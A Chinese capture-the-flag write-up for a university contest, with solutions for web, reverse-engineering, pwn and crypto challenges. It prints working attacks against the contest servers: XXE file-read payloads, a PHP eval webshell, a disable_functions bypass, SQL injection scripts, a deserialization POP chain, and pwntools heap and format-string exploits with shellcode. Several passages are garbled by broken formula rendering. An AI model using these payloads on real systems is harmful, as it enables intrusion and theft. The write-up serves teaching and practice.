web
web签到
根据返回版本信息 PHP/8.1.0-dev,搜索可知是存在后面的版本
验证存在后门

ls

cat flag.php

别大E
admin/admin弱口令登录,得到flag在flag.php

抓包发现
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
可能有xxe漏洞,尝试读取/etc/passwd
<?xml version="1.0"?>
<!DOCTYPE meteo [
<!ENTITY payload SYSTEM "file:///etc/passwd">
]>
<user><username>&payload;</username><password>meteo</password></user>
读取成功

读取flag,用filter伪协议将flag.php转base64后输出,/var/www/html/为apache默认解析目录
<?xml version="1.0"?>
<!DOCTYPE meteo [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">
]>
<user><username>&payload;</username><password>meteo</password></user>

base64解码即可得到flag
EZ_getshell
先是一个php混淆
可以本地手动解,把eval替换成echo,反复输出
也可以找网站解,例如:
https://www.zhaoyuanma.com/phpjm.html
得到PHP代码
<?php
highlight_file(__FILE__);
@eval($_POST[ymlisisisiook]);
?>
使用蚁剑链接木马,无法访问其他目录;命令行无权限
上传phpinfo.php,并访问,禁用了许多函数
<?php phpinfo();?>
disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
open_basedir
/var/www/html/
绕过disable_functions,直接使用蚁剑插件Bypass disable_function,存在可利用函数putenv,error_log,利用LD_PRELOAD来绕过

再次链接

使用命令终端执行命令
cat /flag
可以了解一下绕过的原理
ez_web
61当天的newctf比赛的签到题(好像),做完发现难度还行,马上嫖了过来XD
打开,看php代码
<?php
$four_word = $_POST['web'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($four_word) == '327a6c4304ad5938eaf0efb6cc3e53dc' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>
four_word要判断md5,直接找在线查询网站就可以查到
同时还要满足 md5(
a
)
=
=
=
m
d
5
(
a) === md5(
a)===md5(b) && $a !== $b,这里直接用数组绕过
c明显整数溢出,2的63次方-2
这里引用 没有队名队的wp
a,b 的 md5 强相等,但 a 与 b 不等,数组绕过,md5 不能处理数组,返回 null,使两个数 组不等,post 提交数组方式为 a[]=1&b[]=2,
a
r
r
a
y
[
+
+
array[++
array[++c]=1,定义并给++
C
位
置
赋
值
,
p
h
p
数
组
添
加
新
元
素
的
方
式
C 位置赋值,php 数组添加新元素的方式
C位置赋值,php数组添加新元素的方式array[]=1;赋值成功返回 ture,若
a
r
r
a
y
是
数
组
,
添
加
整
型
会
报
错
,
跳
到
e
l
s
e
,
但
是
此
处
提
交
数
组
在
i
f
(
array 是数组,添加整型会报错, 跳到 else,但是此处提交数组在 if(
array是数组,添加整型会报错,跳到else,但是此处提交数组在if(array[++
c
]
=
1
)
处
+
+
c]=1)处++
c]=1)处++c 报错,不能进入 flag 区域,采用 php 数组溢出,php 数组有界,最大下标为 9223372036854775807,溢出会报错,返回 false, 进入 flag 区域,所以设置
c
=
9223372036854775806
,
+
+
c=9223372036854775806,++
c=9223372036854775806,++c 会是 php 数组达到最大边界,再 添加数据会溢出,返回 false,进到 flag 区域。得到提示 password:i_love_web,
payload:
?web=flag&a[]=1&b[]=2&c=9223372036854775806

再结合题目hint:我特别喜欢这张图片,说不定里面还藏了什么东西

背景图片里面肯定用密码隐写了什么东西,下载图片
jpg图片,再结合密码,盲猜jphide隐写
用工具解密,得到flag

RCE_Me
<?php
error_reporting(0);
if (isset($_POST['url'])) {
$url = $_POST['url'];
$r = parse_url($url);
if (preg_match('/cumt\.com$/', $r['host'])) {
echo "you are good";
$code = file_get_contents($url);
print_r($code);
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\~|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('are you sure???');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}else{
echo "you are not cumt";
}
}else{
highlight_file(__FILE__);
根据parse_url的正则匹配方式和file_get_contents,我们可以想到用data协议去绕过第一个cumt的正则对host判断,并且让$code赋值为我们的payload。
使用:url=data://cumt.com/plain,
而后续的rce由于过滤了所有内部函数,以及取反,通配符匹配几个关键字符,所以我们只能通过异或来绕过
关于此类无数字字母rce有个很好的总结文章:https://xz.aliyun.com/t/8107
给出一个异或脚本
<?php
$payload = '_POST';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
$flag=0;
for ($i = 128; $i < 256; $i++) {
for ($j = 128; $j < 256; $j++) {
if ((chr($i) ^ chr($j)) === $payload[$l]) {
echo urlencode(chr($i));
$a=$a.urlencode(chr($i));
echo '^';
echo urlencode(chr($j));
$b=$b.urlencode(chr($j));
echo '=' . $payload[$l];
echo "<br>";
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}
echo $a.'^'.$b;
通过构造
P
O
S
T
,
再
传
入
新
参
数
,
即
可
执
行
命
令
,
_POST,再传入新参数,即可执行命令,
P?OST,再传入新参数,即可执行命令,{}中如果是变量名则会使用变量,如果内部是一个函数的话,内部函数会被执行,php解释器会自动略过无效的${},当然此题仅仅用来构造变量。
<?php
${phpinfo()};
?>
会输出phpinfo页面
url=data:
&m=system&e=ls
相当于:url=data:
&m=system&e=ls
得到flag
url=data:
&m=system&e=tac flag.php

如果在hackbar中最后用cat flag.php是可以成功执行的,但内容被html注释符给注释了,F12查看源代码即可。
Easy_unserialize
<?php
highlight_file(__FILE__);
function __autoload($classname){
require "./$classname.php";
}
if(!isset($_COOKIE['user'])){
setcookie("user", serialize('ctfer'), time()+3600);
}else{
echo "hello";
echo unserialize($_COOKIE['user']);
}
<?php
highlight_file(__FILE__);
class Cuu{
public $met;
public $eo;
public function __construct(){
$this->met ="hello";
}
public function __wakeup(){
$this->mo="try a try";
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class funct
{
public $mod1;
public function __call($test2,$arr)
{
$fun = $this->mod1;
$fun();
}
}
<?php
highlight_file(__FILE__);
class over {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class usele{
public $test;
public function __wakeup(){
$this->test="yes";
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$nam = $this->p;
$nam->nonono();
}
}
可构造pop链的类分别在两个文件中,此时就可以利用index.php中的__autoload,该函数会根据所需自动导入类,前提类名为文件名,若无该类同样会包含该文件。所以创建popa类,popb类先将两个文件包含进来。使用数组serialize([class popa,class popb]),再构造pop链。

有效可利用的类如下
<?php
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class funct
{
public $mod1;
public function __call($test2,$arr)
{
$fun = $this->mod1;
$fun();
}
}
class over {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$nam = $this->p;
$nam->nonono();
}
}
利用over中的include包含flag.php,需要控制$var的值和调用__invoke ,而当对象当作函数使用时会调用__invoke ,可以看到class funct中__call 的方法可使成员作为函数使用,然后找可以调用__call() 的地方,调用不存在函数时会调用__call() 。在Test的__get() 方法中看到了调用了不存在的函数,然后去找可以调用__get() 的地方,当访问不存在的成员变量时会调用__get() ,在Show的__toString 中找到,然后找有没有把成员对象当作字符串的地方,Show下面__wakeup() 中preg_match()会把source当作字符串,pop链构造完毕。
构造链
Show.wakeup->Show.__tostring->Test.__get->funct.__call
->over.__invole->include(flag.php)
exp
<?php
class popa{
public $name=1;
}
class popb{
public $name=1;
}
class over {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
public function __construct(){
$this->p = new funct();
}
}
class funct
{
public $mod1;
public function __construct(){
$this->mod1 = new over();
}
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$b = new popa();
$c = new popb();
echo urlencode(serialize([$b,$c,$a]));

base64解码即为flag
sql_inject
考察盲注和无列名注入 先通过mysql.innodb_table_stats得到表名
import requests
url='http://219.219.61.234:32776/test.php'
flag=''
for i in range(1,1000000000000000):
low =31
high =127
while high>=low:
mid = (low+high)//2
data={
"username":"admin",
"password":"0'/**/||/**/if(ascii(mid((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/!(database_name<>'cumtctf')),{},1))>{},1,0)/**/#".format(i,mid)
}
re = requests.post(url,data=data)
if 'you are right' in re.text:
low = mid +1
else:
high = mid - 1
f = int((low+high+1))//2
if f==127 or f == 31:
break
flag = flag + chr(f)
print(flag)
得到表名flag_table,之后进行无列名注入
import requests
url = 'http://219.219.61.234:32776/test.php'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,500):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = "0'||/**/if(((select/**/{},'a')>(select/**/*/**/from/**/flag_table/**/limit/**/2,1)),1,0)#".format(hexchar)
data = {
'username':'admin',
'password':payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'you are right' in r.text:
flag += chr(char-1)
print(flag)
break
Re
图标好奇怪
图标是python的,猜测是python编译成的文件 使用
pyinstxtractor.py 图标好奇怪.exe
反编译得到很多文件 因为111.pyc头文件不完整,所以把111.pyc和struct.pyc用010editer打开  
把struct.pyc的第一行复制到111.pyc上,然后另存为123.pyc 使用命令
uncompyle6 -o 123.py 123.pyc
将.pyc文件反编译成.py文件就可以查看源代码了
from sys import exit
from time import sleep
flag = input('Please input falg:\n')
if len(flag) != 29:
print('The length is wrong.')
sleep(20)
exit()
key = [
59, 41, 49, 42, 59, 42, 56, 5, 58, 78, 33, 37, 78, 244, 33, 56, 228, 57, 79, 33, 54, 224, 46, 239, 248, 0, 0, 0, 3]
l = len(key)
s = []
for i in flag:
s.append(ord(i))
m = []
for i in range(l):
if 97 <= s[i] <= 122:
x = s[i] - 1 ^ 128
m.append(x)
elif 65 <= s[i] <= 90:
x = s[i] + 1 ^ 127
m.append(x)
else:
x = s[i] ^ 126
m.append(x)
for i in range(l):
if m[i] != key[i]:
print('Sorry...')
sleep(20)
exit()
print('You are right!!!')
sleep(20)
写脚本反推
key = [59, 41, 49, 42, 59, 42, 56, 5, 58, 78, 33, 37, 78, 244, 33, 56, 228, 57, 79, 33, 54, 224, 46, 239, 248, 0, 0, 0, 3]
s = []
for i in range(29):
if 97 <= ((key[i] ^ 128)+1) <= 122:
s.append((key[i] ^ 128)+1)
elif 65 <= ((key[i] ^ 127)-1) <= 90:
s.append((key[i] ^ 127)-1)
else:
s.append(key[i] ^ 126)
flag = ''.join(chr(i) for i in s)
print(flag)
得到flag CUMTCTF{D0_Y0u_FeE1_HaPpy~~~}
有些奇怪的exe
直接拖入IDA,什么也看不出来,猜测加壳了。 用Exe Info Pe查看,确实用UPX加壳。 使用ESP定律脱壳。 脱壳完毕后拖入IDA查看,可以看到代码了
{
sub_401A10();
sub_4015A4(a1, a2, v2, "please input your flag:\n");
sub_401550(a1, a2, &v31, "%s");
v33 = j_strlen(a1);
if ( v33 != 24 )
{
sub_4015A4(a1, a2, v3, "The length is wrong.\n");
j_system(a1);
j_exit(a1);
}
j__mbscpy(a1, a2);
v6 = 123;
v7 = 14;
v8 = 7;
v9 = 15;
v10 = 127;
v11 = 17;
v12 = 4;
v13 = 26;
v14 = 25;
v15 = 81;
v16 = 119;
v17 = 2;
v18 = 11;
v19 = 106;
v20 = 26;
v21 = 6;
v22 = 14;
v23 = 90;
v24 = 107;
v25 = 114;
v26 = 77;
v27 = 43;
v28 = 44;
v29 = 44;
for ( i = 0; i < v33; ++i )
{
if ( v30[i] <= 64 || v30[i] > 90 )
{
if ( v30[i] <= 96 || v30[i] > 122 )
{
v4 = i;
v30[i] = v30[i];
}
else
{
v4 = v30[i] - 32;
v30[i] -= 32;
}
}
else
{
v4 = v30[i] + 32;
v30[i] += 32;
}
}
for ( j = 0; j < v33; ++j )
{
v32 = v30[j] + j + v33;
v4 = (v32 % 128);
v30[j] = v4;
}
for ( k = 0; k < v33; ++k )
{
v4 = *(&v6 + k);
if ( v4 != v30[k] )
{
sub_4015A4(a1, a2, v4, "You are wrong~~\n");
j_system(a1);
j_exit(a1);
}
}
sub_4015A4(a1, a2, v4, "Congrations!!!\n");
j_system(a1);
return 0LL;
}
写脚本反推
s = [123, 14, 7, 15, 127, 17, 4, 26, 25, 81, 119, 2, 11, 106, 26, 6, 14, 90, 107, 114, 77, 43, 44, 44]
length = len(s)
f = []
for i in range(length):
if s[i] <= (i+length):
x = s[i]+128-i-length
f.append(x)
else:
x = s[i]-i-length
f.append(x)
for i in range(length):
if 65 <= f[i] <= 90:
f[i] += 32
elif 97 <= f[i] <= 122:
f[i] -= 32
flag = ''.join(chr(i) for i in f)
print(flag)
得到flag CUMTCTF{Y0u_GeT_F1ag!~~}
神奇的编码
打开文件,看到很多python字节码,需要翻译。查询翻译后得到结构
def change(str1, str2):
str = []
length = len(str1)
for i in range(length):
x = (str2[i] << 4) + str1[(i + 1) % length]
str.append(x)
return str
flag = input()
result = [119, 52, 114, 67, 113, 121, 114, 67, 117, 56, 79, 75, 119, 114, 118, 67, 109, 69, 106, 68, 117, 109, 114, 67,
117, 88, 122, 68, 117, 120, 111, 77, 119, 54, 106, 68, 105, 103, 106, 68, 105, 119, 107, 77, 119, 55, 122, 68,
117, 103, 118, 68, 105, 81, 107, 77, 119, 55, 115, 74, 79, 122, 51, 68, 114, 99, 79, 111, 75, 119, 61, 61]
s1 = []
import base64
k = pow(2, 8) - 1
for i in flag:
x = ord(i) ^ k
s1.append(x)
m1 = []
m2 = []
for i in range(len(s1)):
a = int(s1[i]/16)
b = s1[i] % 16
m1.append(a)
m2.append(b)
m = change(m1, m2)
str = ''.join(chr(i) for i in m)
str_code = base64.b64encode(str.encode())
list = list(str_code)
is_right = True
for i in range(len(list)):
if list[i] != result[i]:
is_right = False
break
if is_right:
print('Congratulations!!!')
else:
print('You are wrong.')
根据翻译的结构写脚本
import base64
result = [119, 52, 114, 67, 113, 121, 114, 67, 117, 56, 79, 75, 119, 114, 118, 67, 109, 69, 106, 68, 117, 109, 114, 67,
117, 88, 122, 68, 117, 120, 111, 77, 119, 54, 106, 68, 105, 103, 106, 68, 105, 119, 107, 77, 119, 55, 122, 68,
117, 103, 118, 68, 105, 81, 107, 77, 119, 55, 115, 74, 79, 122, 51, 68, 114, 99, 79, 111, 75, 119, 61, 61]
r = ''
for i in result:
r += chr(i)
m = base64.b64decode(r).decode()
l = []
for i in m:
l.append(ord(i))
length = len(l)
f = []
for i in range(length):
a = l[(length-1+i) % length] % 16
b = l[i] >> 4
f.append((a << 4)+b)
ff = []
for i in f:
ff.append(i ^ 255)
flag = ''.join(chr(i) for i in ff)
print(flag)
运行得到flag CUMTCTF{pYTh0N_1s_sOo00_Coo0OlL!!}
Pwn
pwn1
 对v4读入数据覆盖v5为2021即可
from pwn import *
p=remote('219.219.61.234',10000)
payload=b'a'*(0x20-4)+p64(2021)
p.sendline(payload)
p.interactive()
pwn2
本题可以通过改gets的got表为system函数的地址完成攻击
from pwn import *
p = remote('219.219.61.234', 10001)
elf = ELF("./pwn2")
system_plt = 0x08048586
gets_got = elf.got["gets"]
p.recvline("Do U Know Fmtstr?")
payload = fmtstr_payload(5, {gets_got:system_plt})
p.send(payload)
p.interactive()
pwn3
分析函数,会生成个随机数   我们使 strcmp 函数返回 0,从而通过验证输出 flag,可以通过简单爆破拿到flag,附上 Eurek4 队伍的exp,运气差可以多运行几次
from pwn import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
for i in range(0,100):
p =remote("219.219.61.234",10002)
ru(":")
sl("\x00\x00")
flag=r()
if b"{" in flag:
print(flag)
pwn4
分析关键flag函数  打开一个flag文件放到v21中,调试发现偏移量为27时会泄露flag,从而多次尝试拿到flag
附上Eurek4队伍的exp
from pwn import *
import binascii
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
flag=""
p = remote("219.219.61.234",10003)
ru(":")
sl("%26$p")
ru(":")
f=r(6)[2:]
flag+=binascii.a2b_hex(f)[::-1]
for i in range(27,32):
p = remote("219.219.61.234",10003)
ru(":")
sl("%{}$p".format(i))
ru(":")
f=r(18)[2:]
flag += binascii.a2b_hex(f)[::-1]
print(flag)
pwn5
 size是任意的,且这个是在16上的
- 先泄露libc,向后合并,在分配,直接拿到libc
- 然后就是经典的malloc_hook和realloc_hook相结合,写one_gadget
还是附上Eurek4队伍的exp
from pwn import *
p = remote("219.219.61.234",10005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def create(size, content):
sla('Your choice :\n', '1')
sla('Size:', str(size))
sa('Data:', content)
def delete(index):
sla('Your choice :\n', '2')
sla('Index:', str(index))
def show():
sla('Your choice :\n', '3')
create(0x100, 'A'*0x100)
create(0x100, 'B'*0x100)
create(0x68, 'C'*0x68)
create(0x68, 'D'*0x68)
create(0x100, 'E'*(0x100 - 0x10) + p64(0x100) + p64(0x11))
delete(2)
delete(3)
delete(0)
payload = 'F' * 0x60
payload += p64(0x300)
create(0x68, payload)
malloc_hook_sym = libc.sym['__malloc_hook']
realloc_sym = libc.sym['realloc']
gadget = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]
one=gadget[1]
delete(4)
create(0x100, 'A' * 0x100)
show()
p.recvuntil('1 : ')
main_arena = uu64(ru(' '))
libc_base = main_arena - 0x3c4b78
malloc_hook = libc_base + malloc_hook_sym
leak("libc",libc_base)
realloc_hook = libc_base + realloc_sym
gadget = libc_base + one
payload = 'G' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)
create(0x68, 'H' * 0x68)
payload = '\x00' * (0x13-0x8) + p64(gadget) + p64(realloc_hook) + '\n'
create(0x68, payload)
sla('Your choice :\n', '1')
sla('Size:', 1)
itr()
pwn6
 第一次得先泄露libc,当申请size足够大,就会申请到靠近libc的地方
之后就是把one_gadget写入malloc_hook
继续附上Eurek4队伍的exp
from pwn import *
context.log_level='debug'
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
flag = ""
onegadget = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
for i in range(0,8):
try:
p = remote("219.219.61.234",10004)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
ru("size.",drop=True)
sl(str(0x300000))
offset = 3149808
ru("0x",drop=True)
heap = int(ru("\n",drop=True),16)
libc_base = heap + offset
leak("libc_base",libc_base)
one = libc_base + onegadget[i]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
ru("offset.")
shot = hex(malloc_hook - heap)[2:]
sl(str(shot))
ru("one_gadget.",drop=True)
s(p64(one))
itr()
except:
continue
pwn出题人也没想到,自己才转pwn不久居然要来出题(banyun)了,期间出了很多岔子,大家见谅哈
Crypto
残缺的MD5
直接python脚本进行爆破
import hashlib
k = 'CUMT?CTF?THIS?IS?EASY?CRYPTO'
for s1 in range(26):
temp1 = k.replace('?',str(chr(65+s1)),1)
for s2 in range(26):
temp2 = temp1.replace('?',chr(65+s2),1)
for s3 in range(26):
temp3 = temp2.replace('?', chr(65 + s3), 1)
for s4 in range(26):
temp4 = temp3.replace('?',chr(65 + s4),1)
for s5 in range(26):
temp5 = temp4.replace('?', chr(65 + s5), 1)
s = hashlib.md5(temp5.encode('utf8')).hexdigest().upper()
if '7C' in s and '36' in s and '652' in s and '99'in s and '45' in s and 'AB' in s:
print(temp5)
print (s)
签到
简单的rsa签到
import gmpy2
import libnum
p = 179308029351398708234417464669784768880399151648569845562886886585141537800964270916194429130118599712870746693936567800799004784510299552618124053435004033390166017920864088101679083935228420137668520922440427388145128191147668592163593853221346181333248439399873897078266255467472957065257005244063744940131
q = 101671269759559703003816622550383523767934430906264285409988824108525882621334745943818017065638429959613457943320527452702964572641789627990096150683118268233374614127755461394684363061087487298385050518861385904859852265337390090823288181222528587097642890243936001539151912282423832830293997587126504998077
e = 65537
c = 1910332683022868524851442931211232949271621360340559407038357161818299127077226004675748828624122595373130998198319404799969749024066643194983835816418868071860115509956965030588994709745726678403188222642418408020307382679817022137070530733123245689245148941377205377583469812643476536482688016864622822823933298588759901038732847877256554218715538095888294824507308215147087338734478193617065137016396738565533585392446643675397656760945993736497361218426488118202304214512608986396801993366184124326428661421978180961424412943936393645189250605135962675558382676369167871830021109988873352336389339522839747469218
N = p * q
n = (p-1) * (q-1)
d = gmpy2.invert(e,n)
m = pow(c,d,N)
print(m)
print(libnum.n2s(int(m)))
非常的base
字符替换,将密文的字符对应dict字典,再转换为base64 字典中的字符,然后base64解码
脚本如下:
import base64
dict={0: 'c', 1: 'R', 2: 'i', 3: 'A', 4: 'H', 5: 'W', 6: 'j', 7: 'I', 8: '1', 9: 'N', 10: 'v', 11: 'g', 12: '5', 13: 'z', 14: '8', 15: 'C', 16: 'U', 17: 'p', 18: 'q', 19: 'J', 20: '4', 21: 'f', 22: 'M', 23: 'B', 24: '7', 25: 'x', 26: 'r', 27: 'O', 28: 't', 29: 'o', 30: 'Z', 31: 'F', 32: 'T', 33: 'P', 34: 'w', 35: 'K', 36: 's', 37: 'E', 38: 'V', 39: 'X', 40: 'G', 41: 'e', 42: 'k', 43: '9', 44: 'Y', 45: 'S', 46: 'a', 47: 'Q', 48: 'y', 49: '3', 50: 'm', 51: 'b', 52: '0', 53: 'D', 54: 'l', 55: 'L', 56: 'u', 57: 'n', 58: '/', 59: 'd', 60: '6', 61: '2', 62: 'h', 63: '+', 64: '='}
base64_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P','Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f','g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/']
cipher='7LfSojz0xXSm5MoGzf2M5bxnBl4ytLEFzVWbx410BD2S7BR2'
m=''
flag=''
for i in range(len(cipher)):
for j in range(64):
if(dict[j]==cipher[i]):
m+=base64_list[j]
print(m)
flag=base64.b64decode(m)
print(flag)
RSA?
N随机取得,但是N可以表示为3*(2^x) * (3^y) * (7^z) ,根据实数乘法的奇偶性规律:
奇 * 奇 = 奇
偶 * 偶 = 偶
奇 * 偶 = 奇
N恒为偶数
根据:
当A > B时:
若B为偶数,A % B的奇偶性同A的奇偶性一致
若B为奇数,A % B的奇偶性同A的奇偶性相反
当A < B时:
A % B的奇偶性与A一致
可知c=pow(r(m, i, m.bit_length()), e, N)的奇偶性和m一样,即每次c的二进制最后一位和每次m的二进制最后一位相同
而m每次右移了一位,且循环时每一位都会排到最末尾从而加密输出
综上,只要把输出文本中每一串数字转换二进制取最后一位并按倒序拼接即可
脚本如下:
from Crypto.Util.number import *
import gmpy2
flag=''
f=open('chall.txt','r').readlines()
li=[]
for i in f:
li.append(int(i.strip('\n')))
for i in li:
flag+=(bin(i)[-1])
flag=flag[::-1]
print(long_to_bytes(int(flag, 2)))
real_RSA
考察rsa的低指数加密和共模攻击 低指数攻击直接分情况开3次方,共模攻击需要用到数学知识 参考:共模攻击数学分析
import libnum
from gmpy2 import invert
from gmpy2 import iroot
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
n2 = 22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
c2_1 = 22381850938065193358278253147467150797709002534083507137257960056107137848093403378423473426666014730365506231075252357064547793223559749932471186995157541348481828610739919084366926590467004716803923937454535738985968190726494987062049583386897148063211655710516540190631255559470695914203541897658755304015610091369550114519773247414168550598155437814891546964391478508785687283417858537504512539362179504468651415210763187827399052965708242547869047065857956363113737425226573040975881731429154823927226295642514312946856421185721415202906396988660611152549234348765673642643897830616076002730456160650341635143704
c2_2 = 8090366411045793234210322531598941446874141025943909343301031752878841666415969556797627147789205983150546898620809005560202512717938281049602007829284269335854087790231458500580461669945982841203916571122008764034298504492835227560364866355504108326714068798068594401733331517171707679134043030384457589705320965615677043792301235436663678084033785439910837165897875595189773366498137524005416558130683728384919517508421105064464302309523597785224585856003247802578159619859543488929666469326915414050448914228338779778423706877483730960243781357950657137157670795338550712198405466881834571305945501760737042978212
e_2_1 = 12144269
e_2_2 = 92374392
s = egcd(e_2_1, e_2_2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c2_1 = invert(c2_1, n2)
elif s2<0:
s2 = - s2
c2_2 = invert(c2_2, n2)
m2 = pow(c2_1,s1,n2)*pow(c2_2,s2,n2) % n2
e_1_1 = 3
n1 = 10456335904838169914349646852830082932152130624533179855437700729986430916359910968035371355128152016750075271161129744979254605922991030753616570849211931989112941277121682363790710646503345520505931418350219098036569932546893477983585713668853372819392130314661542626399462820378837771792293945490048339575869129479058678981790418112887403292721775644533540769467889512773382494878291574262142755186374570245813695390664702262226281601456889176191920270658811753696081082528539263191477192236336112147705564796435800152614366113854349615104191052807647128834113146535639155857819697492608839941056356828288393881491
c1 = m2
k = 0
while 1:
res = iroot(c1+k*n1,e_1_1)
if(res[1] == True):
print(libnum.n2s(int(res[0])))
break
k=k+1
ez_DSA
打开看到加密脚本和输出
import random
import gmpy2
import hashlib
import libnum
flag = '********************'
p = 7434410770759874867539421675728577177024889699586189000788950934679315164676852047058354758883833299702695428196962057871264685291775577130504050839126673
q = 1138656671590261728308283492178581223478058193247
g = 5154978420348751798752390524304908179080782918903280816528537868887210221705817467399501053627846983235883800157945206652168013881208773209963452245182466
x = libnum.s2n(flag)
message1 = "The private key maybe flag."
message2 = "Don't forget to turn it into a string."
sha1 = hashlib.sha1()
sha2 = hashlib.sha1()
sha1.update(message1.encode('utf-8'))
sha2.update(message2.encode('utf-8'))
hash1 = int('0x' + sha1.hexdigest(), 16)
hash2 = int('0x' + sha2.hexdigest(), 16)
k = random.randint(0, q-1)
k1 = gmpy2.invert(k, q)
r1 = pow(g, k, p) % q
temp = (hash1+x*r1) % q
s1 = (k1*temp) % q
print('r1 = '+str(r1))
print('s1 = '+str(s1))
r2 = pow(g, k, p) % q
